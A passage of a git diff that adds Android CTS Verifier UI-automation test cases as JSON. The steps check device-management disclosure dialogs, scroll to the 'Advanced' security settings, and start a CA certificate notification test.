Inc.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":95.33333333333333,\"y1\":366.6666666666667,\"x2\":243.33333333333334,\"y2\":381.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":5.833333333333343,\"y\":1.3333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"This device belongs to Foo, Inc.\"},{\"uuid\":\"45dee6fc-546c-4929-9bfb-c356e8b54be9\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.systemui:id/footer_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":250.33333333333334,\"y1\":366.6666666666667,\"x2\":264.3333333333333,\"y2\":380.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":81.33333333333333,\"y1\":354.3333333333333,\"x2\":278.3333333333333,\"y2\":393.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":163.5,\"y\":372.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":16.333333333333314,\"y\":1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"52433a5f-539d-4975-afa0-a73d991dcf75\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This device belongs to Foo, Inc.\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":80.0,\"y1\":360.0,\"x2\":247.0,\"y2\":385.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, click \\\"This device belongs to Foo, Inc.\\\"\",\"actionId\":\"0f4d21d9-a38d-40f0-9a74-f91ea93896d8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"This device belongs to Foo, Inc.\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that a dialog informing you about device monitoring opens\",\"actionId\":\"9f86c41a-da8c-4d20-bdc2-c6a6907999dd\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"This device belongs to Foo, Inc..\\n\\nYour IT admin can monitor and manage settings, corporate access, apps, data associated with your device, and your device's location information.\\n\\nFor more information, contact your IT admin.\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"efcc99e0-fc18-4e80-9d19-96846e7da517\",\"displayText\":\"This device belongs to Foo, Inc..\\n\\nYour IT admin can monitor and manage settings, corporate access, apps, data associated with your device, and your device's location information.\\n\\nFor more information, contact your IT admin.\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"2a37ea76-6a5c-41aa-9395-e8439d9a75de\",\"displayText\":\"Device management\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/device_management_subtitle\",\"text\":\"Device management\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":35.0,\"y1\":278.3333333333333,\"x2\":325.0,\"y2\":319.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Device management\"},{\"uuid\":\"3d1e7689-f30a-4b69-a0c8-ddcf3949eb91\",\"displayText\":\"This device belongs to Foo, Inc..\\n\\nYour IT admin can monitor and manage settings, corporate access, apps, data associated with your device, and your device's location information.\\n\\nFor more information, contact your IT admin.\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/device_management_warning\",\"text\":\"This device belongs to Foo, Inc..\\n\\nYour IT admin can monitor and manage settings, corporate access, apps, data associated with your device, and your device's location information.\\n\\nFor more information, contact your IT admin.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":35.0,\"y1\":319.6666666666667,\"x2\":325.0,\"y2\":453.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":6.0,\"y\":-58.66666666666663,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"This device belongs to Foo, Inc..\\n\\nYour IT admin can monitor and manage settings, corporate access, apps, data associated with your device, and your device's location information.\\n\\nFor more information, contact your IT admin.\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/device_management_disclosures\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":35.0,\"y1\":278.3333333333333,\"x2\":325.0,\"y2\":474.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":174.0,\"y\":445.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":6.0,\"y\":-68.83333333333337,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"3d1e7689-f30a-4b69-a0c8-ddcf3949eb91\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This device belongs to Foo, Inc..\\n\\nYour IT admin can monitor and manage settings, corporate access, apps, data associated with your device, and your device's location information.\\n\\nFor more information, contact your IT admin.\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":32.0,\"y1\":433.0,\"x2\":316.0,\"y2\":457.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, view Policies\",\"actionId\":\"0f34f0bf-7f60-4a07-a489-010fb7489b5e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button2\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that a screen informing you what your managing organization can do is  shown\",\"actionId\":\"bbd7aa85-02e9-4860-a762-0c58451ad617\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Managed device info\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"955f23d4-e140-4271-bcfa-952f7492f4c7\",\"displayText\":\"Managed device info\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"a5b40732-49f3-4ea6-bd05-f05ee2dd445e\",\"displayText\":\"Navigate up\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageButton\",\"contentDesc\":\"Navigate up\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":48.333333333333336,\"x2\":49.0,\"y2\":97.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Navigate up\"},{\"uuid\":\"edb1ed97-b0e2-47a1-865a-43233c36fd4b\",\"displayText\":\"Managed device info\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Managed device info\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":61.0,\"x2\":234.0,\"y2\":84.66666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.5,\"y\":-0.6666666666666572,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Managed device info\"},{\"uuid\":\"4234266a-b5be-467a-920a-6f8ef5257fa0\",\"displayText\":\"Search settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"76bc2ca6-1cbc-4fd3-bcf4-69f52a37f44e\",\"displayText\":\"Search settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"contentDesc\":\"Search settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":276.0,\"y1\":51.666666666666664,\"x2\":318.0,\"y2\":93.66666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Search settings\"},{\"uuid\":\"69eddb53-7e16-4c08-b68b-e10fd76bca20\",\"displayText\":\"Help & feedback\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"contentDesc\":\"Help & feedback\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":318.0,\"y1\":51.666666666666664,\"x2\":360.0,\"y2\":93.66666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Help & feedback\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":276.0,\"y1\":48.333333333333336,\"x2\":360.0,\"y2\":97.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Search settings\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"com.android.settings:id/action_bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":48.333333333333336,\"x2\":360.0,\"y2\":97.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":153.0,\"y\":73.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":27.0,\"y\":-0.6666666666666714,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"edb1ed97-b0e2-47a1-865a-43233c36fd4b\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Managed device info\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":62.0,\"x2\":252.0,\"y2\":85.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that a screen informing you what your managing organization can do is  shown\",\"actionId\":\"d5c84c9d-a3d7-40e5-ad6c-73f782396319\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"40f82272-be41-47fc-8975-0b58bf0e9deb\",\"displayText\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0a59d049-da0f-4283-8bfb-79a59a3243fb\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"1944756e-7e9e-46f6-9708-058ebb3da344\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":568.0,\"x2\":35.0,\"y2\":589.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":554.0,\"x2\":63.0,\"y2\":592.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"20359582-0360-43f7-9b36-d85d3d6f8810\",\"displayText\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":554.0,\"x2\":346.0,\"y2\":656.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":33.5,\"y\":8.666666666666742,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":554.0,\"x2\":360.0,\"y2\":656.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":171.0,\"y\":596.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":9.0,\"y\":8.666666666666742,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"20359582-0360-43f7-9b36-d85d3d6f8810\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"To provide access to your work data, your organization may change settings and install software on your device.\\n\\nFor more details, contact your organization's admin.\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":56.0,\"y1\":575.0,\"x2\":286.0,\"y2\":618.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"dc8ec7bd-8995-439a-a5ce-a9385630bdbe\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"d2247f32-bc99-43a5-b052-777c63392102\",\"6e8723b8-1dbb-47ea-ad2b-167f033ab810\",\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"4e0b91d1-fe47-4ccc-b185-165903a0edde\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"91ab1016-e46b-4681-802a-30de34592081\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"a86a9465-a6e4-4c7a-9db0-b210599cdba2\",\"0f4d21d9-a38d-40f0-9a74-f91ea93896d8\",\"9f86c41a-da8c-4d20-bdc2-c6a6907999dd\",\"0f34f0bf-7f60-4a07-a489-010fb7489b5e\",\"bbd7aa85-02e9-4860-a762-0c58451ad617\",\"d5c84c9d-a3d7-40e5-ad6c-73f782396319\",\"dc8ec7bd-8995-439a-a5ce-a9385630bdbe\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-15-Quick settings disclosure","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.189000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a3737847-5957-4a6a-a50c-242e80b93d8a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a3737847-5957-4a6a-a50c-242e80b93d8a
new file mode 100644
index 0000000..20c0564
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a3737847-5957-4a6a-a50c-242e80b93d8a
@@ -0,0 +1 @@
+{"uuid":"a3737847-5957-4a6a-a50c-242e80b93d8a","details":"{\"type\":\"CompoundAction\",\"name\":\"Check if \\\"Advanced\\\" exists\",\"actionId\":\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Advanced\",\"actionId\":\"aa51540f-a929-447d-b563-259c1cc89cba\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Advanced\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0281d927-72d5-4e4d-b2a4-d5fd2281692d\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"58a1006e-e48f-401c-832c-706631b5312d\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3a43c120-86a0-4b49-8bb3-d18b6c16bd31\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":692.6666666666666,\"x2\":36.666666666666664,\"y2\":714.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":689.0,\"x2\":66.0,\"y2\":718.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"8706fc6f-c3ac-4b91-915c-f65b964db7b2\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a322eb48-1098-4a7d-bbac-0bd53257638d\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Advanced\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":686.0,\"x2\":123.33333333333333,\"y2\":703.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.1666666666666572,\"y\":1.8333333333332575,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Advanced\"},{\"uuid\":\"0b495dc3-a81d-4abd-874c-3928b916497a\",\"displayText\":\"Device admin apps, SIM card lock, Encryption & credentials, Trust agents, App pinning, Confirm SIM deletion\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Device admin apps, SIM card lock, Encryption & credentials, Trust agents, App pinning, Confirm SIM deletion\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":703.6666666666666,\"x2\":345.3333333333333,\"y2\":721.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Device admin apps, SIM card lock, Encryption & credentials, Trust agents, App pinning, Confirm SIM deletion\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":671.3333333333334,\"x2\":345.3333333333333,\"y2\":736.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Advanced\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":671.3333333333334,\"x2\":360.0,\"y2\":736.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":94.5,\"y\":693.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":85.5,\"y\":10.666666666666742,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"a322eb48-1098-4a7d-bbac-0bd53257638d\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Advanced\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":58.0,\"y1\":683.0,\"x2\":131.0,\"y2\":703.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ConditionValidationAction\",\"name\":\"Check if \\\"Advanced\\\" exists\",\"actionId\":\"e09cd4dd-79e2-42e4-baf4-0f07e69ffcc4\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Advanced\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"Click \\\"Advanced\\\"\",\"actionId\":\"3ffa3c2c-475b-4084-ba8a-0132149c2d51\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Advanced\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"aa51540f-a929-447d-b563-259c1cc89cba\",\"e09cd4dd-79e2-42e4-baf4-0f07e69ffcc4\",\"3ffa3c2c-475b-4084-ba8a-0132149c2d51\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Check if \"Advanced\" exists","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.000000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a3c0955c-29f4-4488-af69-d765f068c4ea b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a3c0955c-29f4-4488-af69-d765f068c4ea
new file mode 100644
index 0000000..949c78f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a3c0955c-29f4-4488-af69-d765f068c4ea
@@ -0,0 +1 @@
+{"uuid":"a3c0955c-29f4-4488-af69-d765f068c4ea","details":"{\"type\":\"CompoundAction\",\"name\":\"test_CA Cert Notification on Boot test\",\"actionId\":\"a3c0955c-29f4-4488-af69-d765f068c4ea\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to CA Cert Notification on Boot test\",\"actionId\":\"221f9022-2e98-49f1-a5b7-5340d6b5b525\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CA Cert Notification on Boot test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"898e321a-76fb-49f8-bf0d-618c12be7ccc\",\"displayText\":\"CA Cert Notification on Boot test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"CA Cert Notification on Boot test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":142.75,\"x2\":351.25,\"y2\":184.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":115.5,\"y\":165.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":64.5,\"y\":-1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"898e321a-76fb-49f8-bf0d-618c12be7ccc\",\"firstText\":\"CA Cert Notification on Boot test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CA Cert Notification on Boot 